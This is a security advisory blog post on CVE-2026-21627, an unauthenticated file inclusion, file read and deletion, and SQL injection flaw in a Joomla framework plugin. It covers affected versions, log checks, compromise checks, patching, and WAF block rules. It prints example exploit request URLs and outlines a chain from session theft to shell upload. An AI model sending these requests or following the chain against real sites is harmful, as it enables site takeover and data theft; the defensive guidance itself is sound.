&lt;p&gt;If any of your sites were running a vulnerable version during the six-week window since disclosure, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; to scan for signs of exploitation. The audit checks for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspicious files, backdoors, and known hack signatures&lt;/a&gt; across the entire file system - the kind of artefacts an attacker leaves behind after chaining the file inclusion and SQL injection primitives in this vulnerability.&lt;/p&gt;
&lt;h2&gt;What does CVE-2026-21627 actually allow?&lt;/h2&gt;
&lt;p&gt;The vulnerability gives attackers three distinct capabilities, all without authentication:&lt;/p&gt;
&lt;h3&gt;1. Arbitrary PHP file inclusion&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxTaskInclude()&lt;/code&gt; method in &lt;code&gt;nrframework.php&lt;/code&gt; is whitelisted for frontend access via the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. It accepts a &lt;code&gt;path&lt;/code&gt; parameter with Joomla’s RAW input filter, which means zero sanitisation. The concatenated path goes straight to &lt;code&gt;@include_once&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An attacker sends a request like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;span&gt; /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;path=../../../some/file&amp;amp;class=TargetClass&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lets them include any PHP file on the server and instantiate any class that implements an &lt;code&gt;onAjax&lt;/code&gt; method. Internal helper classes that were never meant to be publicly accessible become remotely reachable gadgets.&lt;/p&gt;
&lt;p&gt;The key detail here is the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; system is designed to let plugins handle AJAX requests from the frontend. The nrframework plugin explicitly lists &lt;code&gt;include&lt;/code&gt; as a task that doesn’t require admin authentication. That’s a design decision in the plugin code, not a Joomla core weakness. The plugin chose to allow unauthenticated users to trigger file inclusion.&lt;/p&gt;
&lt;p&gt;What makes this worse is the &lt;code&gt;class&lt;/code&gt; parameter. After including a file, the plugin instantiates whatever class name the attacker specifies and calls its &lt;code&gt;onAjax&lt;/code&gt; method. Joomla’s codebase contains dozens of classes with &lt;code&gt;onAjax&lt;/code&gt; methods, each one a potential gadget for the attacker to chain into further exploitation.&lt;/p&gt;
&lt;h3&gt;2. Arbitrary file read and file deletion&lt;/h3&gt;
&lt;p&gt;Two built-in classes provide file operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;nrchainedfields&lt;/strong&gt; - handles CSV loading for cascading select fields. By manipulating the file path, an attacker can read any file the web server user can access. Configuration files, database credentials, &lt;code&gt;.htpasswd&lt;/code&gt; files - all readable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;nrinlinefileupload&lt;/strong&gt; - provides an &lt;code&gt;onRemove()&lt;/code&gt; method that deletes files at attacker-supplied paths without additional validation.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;span&gt; /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;class=NRInlineFileUpload&amp;amp;action=remove&amp;amp;remove_file=/path/to/target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. SQL injection&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxify.php&lt;/code&gt; and &lt;code&gt;componentitems.php&lt;/code&gt; classes pass attacker-controlled &lt;code&gt;term&lt;/code&gt; parameters directly into database queries. This allows arbitrary table and column reads, including super-admin session tokens stored in Joomla’s session table.&lt;/p&gt;
&lt;p&gt;These classes are designed for dynamic field population, the kind of thing that powers a “search as you type” dropdown in a form. The &lt;code&gt;term&lt;/code&gt; parameter is supposed to be a search string entered by a user filling out a Convert Forms field. Instead, an attacker can supply SQL fragments that get concatenated into the query without prepared statements or parameter binding.&lt;/p&gt;
&lt;p&gt;With read access to the database, the attacker can pull the &lt;code&gt;#__session&lt;/code&gt; table to find active super-admin sessions, extract user password hashes from &lt;code&gt;#__users&lt;/code&gt;, or read any other data the database user has access to. (For more on why &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;Joomla database security&lt;/a&gt; matters, see our dedicated guide.) On shared hosting where the database user often has broader permissions than it should, the damage can extend beyond the Joomla database itself.&lt;/p&gt;
&lt;h3&gt;The full attack chain&lt;/h3&gt;
&lt;p&gt;In practice, an attacker chains these together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the Joomla &lt;code&gt;configuration.php&lt;/code&gt; via the file-read primitive to get database credentials&lt;/li&gt;
&lt;li&gt;Use SQL injection to extract super-admin session tokens from the session table&lt;/li&gt;
&lt;li&gt;Hijack an admin session and log into &lt;code&gt;/administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upload a PHP shell through the template editor or extension installer&lt;/li&gt;
&lt;li&gt;Delete log files and access evidence to cover tracks&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s complete site takeover. Shell access, full database control, and the ability to modify any file on the site.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The public exploit on GitHub includes multiple attack modes: file upload, file deletion, SQL injection, and automated session hijacking. This is not a theoretical vulnerability. The tooling to exploit it is freely available and trivial to run.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Which versions are vulnerable?&lt;/h2&gt;
&lt;p&gt;The vulnerability spans the entire Tassos extension suite. If you have any of these versions, you’re exposed:&lt;/p&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Vulnerable versions&lt;/th&gt;&lt;th&gt;Patched (Joomla 4/5/6)&lt;/th&gt;&lt;th&gt;Patched (Joomla 3)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Novarain/Tassos Framework&lt;/strong&gt; (plg_system_nrframework)&lt;/td&gt;&lt;td&gt;4.10.14 - 6.0.37&lt;/td&gt;&lt;td&gt;6.0.62+&lt;/td&gt;&lt;td&gt;6.0.62+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3.2.12 - 5.1.0&lt;/td&gt;&lt;td&gt;5.1.1+&lt;/td&gt;&lt;td&gt;4.4.11+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;6.0.0 - 7.1.0&lt;/td&gt;&lt;td&gt;7.1.1+&lt;/td&gt;&lt;td&gt;6.3.9+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;5.1.7 - 6.1.0&lt;/td&gt;&lt;td&gt;6.1.1+&lt;/td&gt;&lt;td&gt;5.6.9+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2.2.0 - 3.1.0&lt;/td&gt;&lt;td&gt;3.1.1+&lt;/td&gt;&lt;td&gt;2.8.10+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;1.0.0 - 2.1.0&lt;/td&gt;&lt;td&gt;2.1.1+&lt;/td&gt;&lt;td&gt;1.2.4+&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;(all unpatched)&lt;/td&gt;&lt;td&gt;5.1.1+&lt;/td&gt;&lt;td&gt;5.0.4+&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;These version numbers come from &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr’s official security advisory&lt;/a&gt;, published 18 February 2026. The nrframework plugin contains the vulnerable code, but the parent extensions control which version of nrframework gets installed. Updating any one Tassos extension to a patched version will also update the shared framework across all their products.&lt;/p&gt;
&lt;h2&gt;How do you check if your site is affected?&lt;/h2&gt;
&lt;h3&gt;Step 1: Find out if nrframework is installed&lt;/h3&gt;
&lt;p&gt;Log into your Joomla admin panel and go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Extensions&lt;/strong&gt;. Search for &lt;code&gt;nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If it appears, note the version number. Anything between 4.10.14 and 6.0.37 is vulnerable.&lt;/p&gt;
&lt;p&gt;Alternatively, check via the filesystem. The plugin lives at:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;plugins/system/nrframework/nrframework.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If that file exists, the plugin is installed. Open it and look for the version string in the XML header, or check the corresponding &lt;code&gt;nrframework.xml&lt;/code&gt; file in the same directory.&lt;/p&gt;
&lt;h3&gt;Step 2: Check for the parent extensions&lt;/h3&gt;
&lt;p&gt;Search your extensions list for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Convert Forms&lt;/code&gt; (com_convertforms)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EngageBox&lt;/code&gt; (com_rstbox)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Google Structured Data&lt;/code&gt; (com_gsd)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Advanced Custom Fields&lt;/code&gt; (field plugins prefixed with &lt;code&gt;acf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Smile Pack&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any of these means nrframework is present. Even if you’ve disabled the parent extension, the framework plugin may still be enabled and reachable.&lt;/p&gt;
&lt;h3&gt;Step 3: Check your server logs&lt;/h3&gt;
&lt;p&gt;Look for requests targeting the vulnerability. The attack pattern is distinctive:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;option=com_ajax.*plugin=nrframework.*task=include&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; /var/log/apache2/access.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or for nginx:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;option=com_ajax.*plugin=nrframework.*task=include&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; /var/log/nginx/access.log&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any matches indicate scanning or exploitation attempts against your site.&lt;/p&gt;
&lt;h2&gt;How do you check if your site has been exploited?&lt;/h2&gt;
&lt;p&gt;If your site was running a vulnerable version of nrframework while it was publicly accessible, you should check for signs of compromise. Attackers using CVE-2026-21627 would leave traces in several places.&lt;/p&gt;
&lt;h3&gt;Use the mySites.guru security audit tools&lt;/h3&gt;
&lt;p&gt;A mySites.guru &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; runs over 50 file-level checks against the entire webspace. Several of these directly detect the artefacts an attacker would leave behind after exploiting CVE-2026-21627.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Hacked?&lt;/strong&gt; section of the audit flags suspect content, mailer scripts, file uploaders, and non-core files. If an attacker uploaded a PHP shell through the file inclusion primitive, the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; will match it against 12 years of known backdoor signatures:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_ZImLm2.webp&quot; srcset=&quot;https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_Z2jvfS2.webp 640w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_ZMn8zn.webp 750w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_1vp7oX.webp 828w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_Z1IoCAy.webp 1080w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_BY3KU.webp 1280w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_1qAMN6.webp 1668w, https://mysites.guru/_astro/novarain-mysites-hacked-tools.Be-SI-Jm_ZImLm2.webp 1722w&quot; alt=&quot;mySites.guru audit Hacked section showing 182 suspect files with pattern-matched content, 4 mailer files, 10 uploader files, and 47,310 non-core files flagged for review&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1722px) 1722px, 100vw&quot; width=&quot;1722&quot; height=&quot;418&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;If the scan turns up a long list like the 182 suspect files above, &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;telling confirmed hacked files apart from plain suspect flags&lt;/a&gt; is the fastest way to triage it.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Files Information&lt;/strong&gt; section goes deeper: recently modified files, hidden dot-files, PHP files in directories where they shouldn’t be, files with 777 permissions, SQL dumps left in the webspace, and files modified between audits. If an attacker deleted logs or modified template files to inject code, these checks catch it:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_ZhW3Ug.webp&quot; srcset=&quot;https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_Z1sSmVs.webp 640w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_CCeHJ.webp 750w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_uOkuB.webp 828w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_ZDfXKX.webp 1080w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_Hm82l.webp 1280w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_15GlRm.webp 1668w, https://mysites.guru/_astro/novarain-mysites-files-information.BcvjC64w_ZhW3Ug.webp 1888w&quot; alt=&quot;mySites.guru audit Files Information section showing checks for recently modified files, .htaccess files, hidden files, archive files, oversized files, renamed files, PHP files in wrong folders, publicly accessible SQL files, and files modified between audits&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1888px) 1888px, 100vw&quot; width=&quot;1888&quot; height=&quot;1390&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Each check is clickable - you can drill into the individual files, see their contents, and compare against known-good hashes. This is what we built mySites.guru to do: turn a manual forensic process into something you can run across every site in your portfolio in minutes.&lt;/p&gt;
&lt;h3&gt;Manual checks (if you don’t have mySites.guru)&lt;/h3&gt;
&lt;p&gt;If you’re checking manually, here’s what to look for:&lt;/p&gt;
&lt;h4&gt;Unauthorised admin accounts&lt;/h4&gt;
&lt;p&gt;Go to &lt;strong&gt;Users &amp;gt; Manage&lt;/strong&gt; and look for admin accounts you don’t recognise. Pay special attention to accounts created after 16 February 2026 (the public disclosure date). Attackers who extract session tokens via SQL injection may create persistent admin accounts as a fallback.&lt;/p&gt;
&lt;h4&gt;Unexpected PHP files&lt;/h4&gt;
&lt;p&gt;Search writable directories for recently created PHP files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; /path/to/joomla&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;*.php&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; -newer&lt;/span&gt;&lt;span&gt; /path/to/joomla/configuration.php&lt;/span&gt;&lt;span&gt; -type&lt;/span&gt;&lt;span&gt; f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Focus on &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/images/&lt;/code&gt;, &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, and &lt;code&gt;/administrator/cache/&lt;/code&gt;. These are common drop locations for uploaded shells.&lt;/p&gt;
&lt;h4&gt;Modified template files&lt;/h4&gt;
&lt;p&gt;Attackers with admin access often inject code into &lt;code&gt;index.php&lt;/code&gt; in your active template directory. Compare hashes against a clean copy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; /path/to/joomla/templates&lt;/span&gt;&lt;span&gt; -name&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;index.php&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; -exec&lt;/span&gt;&lt;span&gt; md5sum&lt;/span&gt;&lt;span&gt; {}&lt;/span&gt;&lt;span&gt; \;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any mismatch against a known-good installation warrants investigation.&lt;/p&gt;
&lt;h4&gt;Database tampering&lt;/h4&gt;
&lt;p&gt;If you suspect SQL injection was used, check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#__session&lt;/code&gt; for sessions belonging to user IDs you don’t recognise&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__users&lt;/code&gt; for accounts with Super User group membership that you didn’t create&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__content&lt;/code&gt; (articles) for injected &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, hidden iframes, or base64-encoded strings&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#__extensions&lt;/code&gt; for plugins or components you didn’t install, particularly anything with high ordering values (9999 is a common attacker pattern we’ve seen &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;with the Astroid exploit&lt;/a&gt; too)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find evidence of compromise, updating nrframework alone won’t help. You need a full cleanup: remove backdoors, revoke compromised sessions, change database credentials, and scan the entire file system. If your &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla site has been hacked&lt;/a&gt;, our recovery guide walks through the process.&lt;/p&gt;
&lt;h2&gt;How do you fix it?&lt;/h2&gt;
&lt;h3&gt;Option 1: Update through the Joomla admin panel&lt;/h3&gt;
&lt;p&gt;If your Tassos.gr subscription is active, updates are available through Joomla’s built-in updater:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Update &amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the Tassos extensions in the update list&lt;/li&gt;
&lt;li&gt;Update them all - the nrframework plugin will update automatically with the parent extension&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Option 2: Download and install manually&lt;/h3&gt;
&lt;p&gt;Download the latest versions from &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt; and install them through &lt;strong&gt;System &amp;gt; Install &amp;gt; Extensions&lt;/strong&gt;. The installer will overwrite the vulnerable files.&lt;/p&gt;
&lt;h3&gt;Option 3: Disable immediately if you can’t update yet&lt;/h3&gt;
&lt;p&gt;If you can’t update right now (expired subscription, compatibility concerns, testing required), disable the plugin as an interim measure:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Search for &lt;code&gt;nrframework&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Disable plg_system_nrframework&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;p&gt;Disabling the plugin will break any functionality that depends on it. Convert Forms won’t work. EngageBox popups won’t appear. But a broken contact form is better than a compromised server. Disable, update properly during a maintenance window, then re-enable.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;Uninstalling the parent extension doesn’t always remove nrframework&lt;/h3&gt;
&lt;p&gt;If you’ve decided to remove Convert Forms, EngageBox, or another Tassos component entirely rather than update, check afterwards that &lt;code&gt;plg_system_nrframework&lt;/code&gt; is actually gone. In some circumstances the framework plugin is left behind when the parent component is uninstalled, which means the vulnerable code path is still reachable and mySites.guru will keep flagging the site.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;System &amp;gt; Manage &amp;gt; Extensions&lt;/strong&gt;, filter by &lt;code&gt;nrframework&lt;/code&gt;, and if the plugin is still listed, uninstall it directly from there. Only once the plugin row has disappeared is the site clean.&lt;/p&gt;
&lt;h3&gt;WAF rules as a stopgap&lt;/h3&gt;
&lt;p&gt;If you have a Web Application Firewall (ModSecurity, Cloudflare WAF, or similar), you can block the attack vector at the server level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# Block nrframework AJAX task=include requests&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SecRule ARGS:plugin &quot;nrframework&quot; &quot;id:100001,phase:1,deny,chain&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  SecRule ARGS:task &quot;include&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This blocks the primary attack vector while leaving other &lt;code&gt;com_ajax&lt;/code&gt; functionality intact. It’s a temporary measure, not a replacement for patching.&lt;/p&gt;
&lt;p&gt;For nginx, the equivalent rule:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# Block nrframework AJAX task=include requests&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ($args &lt;/span&gt;&lt;span&gt;~* &lt;/span&gt;&lt;span&gt;&quot;plugin=nrframework.*task=include&quot;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; 403&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you use Cloudflare, you can create a WAF custom rule that blocks requests where the URI query string contains both &lt;code&gt;plugin=nrframework&lt;/code&gt; and &lt;code&gt;task=include&lt;/code&gt;. This provides protection at the edge before the request ever reaches your server.&lt;/p&gt;
&lt;h2&gt;What about WordPress sites?&lt;/h2&gt;
&lt;p&gt;This vulnerability is Joomla-specific. The Tassos/Novarain Framework is a Joomla plugin and has no WordPress equivalent. If you manage a mixed portfolio of Joomla and WordPress sites, only the Joomla sites need checking for this particular issue.&lt;/p&gt;
&lt;p&gt;That said, WordPress has its own share of critical plugin vulnerabilities this month. &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;CVE-2026-1357 in WPvivid Backup&lt;/a&gt; (CVSS 9.8) affects 900,000+ sites with a similar unauthenticated RCE pattern. The common thread is the same: plugins that handle file operations with insufficient access controls.&lt;/p&gt;
&lt;p&gt;If you manage both Joomla and WordPress sites, a &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;single dashboard that covers both&lt;/a&gt; saves you from checking two separate ecosystems manually. When a critical CVE drops, the last thing you want is to be logging into 50 different admin panels across two different CMS platforms, checking extension versions one site at a time. That’s how vulnerabilities stay unpatched for six weeks while a public exploit circulates on GitHub.&lt;/p&gt;
&lt;h2&gt;The pattern: AJAX endpoints without proper authorization&lt;/h2&gt;
&lt;p&gt;This is the third CMS plugin vulnerability we’ve written about in March 2026 where the root cause is the same: an AJAX endpoint that accepts requests it shouldn’t. And as of today, even Joomla core is patching the same class of issue.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Novarain Framework (CVE-2026-21627)&lt;/strong&gt; - Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; endpoint routes requests to &lt;code&gt;plg_system_nrframework&lt;/code&gt;, which whitelists the &lt;code&gt;include&lt;/code&gt; task for unauthenticated users. No permission check at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Astroid Framework (&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628&lt;/a&gt;)&lt;/strong&gt; - Joomla’s AJAX handler validates the CSRF token but never checks if the user is logged in as an admin. Token from the public login page is enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 (&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098&lt;/a&gt;)&lt;/strong&gt; - WordPress &lt;code&gt;wp_ajax&lt;/code&gt; actions validate a nonce but don’t check user capabilities. A subscriber account is enough to trigger the export function and read any file on the server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core &lt;code&gt;com_ajax&lt;/code&gt; (&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;5.4.4 / 6.0.4&lt;/a&gt;)&lt;/strong&gt; - Released March 31, 2026. Joomla itself needed ACL hardening on &lt;code&gt;com_ajax&lt;/code&gt;. The framework that routes AJAX requests for every plugin in the ecosystem had the same authorization gap as the plugins built on top of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt;&lt;/strong&gt; - Four major WordPress plugins patched critical vulnerabilities in March 2026. Not all AJAX-related, but part of the same broader pattern of plugin security failures happening simultaneously across the WordPress ecosystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The root cause is the same across all four: the AJAX handler authenticates the request (or doesn’t even bother) but never authorises the action. A nonce proves someone is logged in. A CSRF token proves the request came from your site. Neither one proves the user has permission to do what they’re asking.&lt;/p&gt;
&lt;p&gt;Both Joomla and WordPress make it easy to register AJAX handlers. They don’t make it easy to get the authorization right. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to any system plugin with a matching task name, and it’s up to the plugin to check permissions. WordPress’s &lt;code&gt;wp_ajax_{action}&lt;/code&gt; fires for any logged-in user by default - you have to explicitly add &lt;code&gt;current_user_can()&lt;/code&gt; checks. In both cases, the framework provides the wiring but not the guardrails. Joomla 5.4.4 and 6.0.4 shipping ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; itself tells you how deep the problem goes - the routing layer that plugins depend on had the same gap.&lt;/p&gt;
&lt;p&gt;If you develop Joomla extensions or WordPress plugins, treat every AJAX handler as a public endpoint until you’ve explicitly proven otherwise. Check capabilities, not just tokens. Four AJAX authorization failures in one month, across two CMS platforms and their core frameworks, should settle any debate about whether this is a priority.&lt;/p&gt;
&lt;p&gt;It’s the same hidden dependency problem we covered earlier. CVE-2026-21627 and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt; both target framework plugins that admins don’t know are installed. When those frameworks have vulnerable AJAX endpoints, no one checks for updates because no one knows the plugin is there.&lt;/p&gt;
&lt;p&gt;Credit: the vulnerability was discovered by researcher &lt;strong&gt;p1r0x&lt;/strong&gt; working with &lt;a href=&quot;https://ssd-disclosure.com/joomla-novarain-tassos-framework-vulnerabilities/&quot;&gt;SSD Secure Disclosure&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-01&lt;/strong&gt; CVE-2026-21627 is reserved The record is reserved ahead of disclosure. The flaw was found by the researcher p1r0x working with SSD Secure Disclosure, not by mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-16&lt;/strong&gt; SSD Secure Disclosure publishes full vulnerability details The write-up goes out with the technical detail included.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-18&lt;/strong&gt; Tassos.gr publishes its advisory and confirms the patched versions The vendor names the affected framework plugin and the builds that close the flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-20&lt;/strong&gt; The CVE is formally published and an NVD entry created The record becomes citable, which is the point most scanners start matching on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-02-26&lt;/strong&gt; A public exploit tool is published on GitHub It offers multiple attack modes, so exploitation no longer needs any skill on the attacker&apos;s part.&lt;/li&gt;
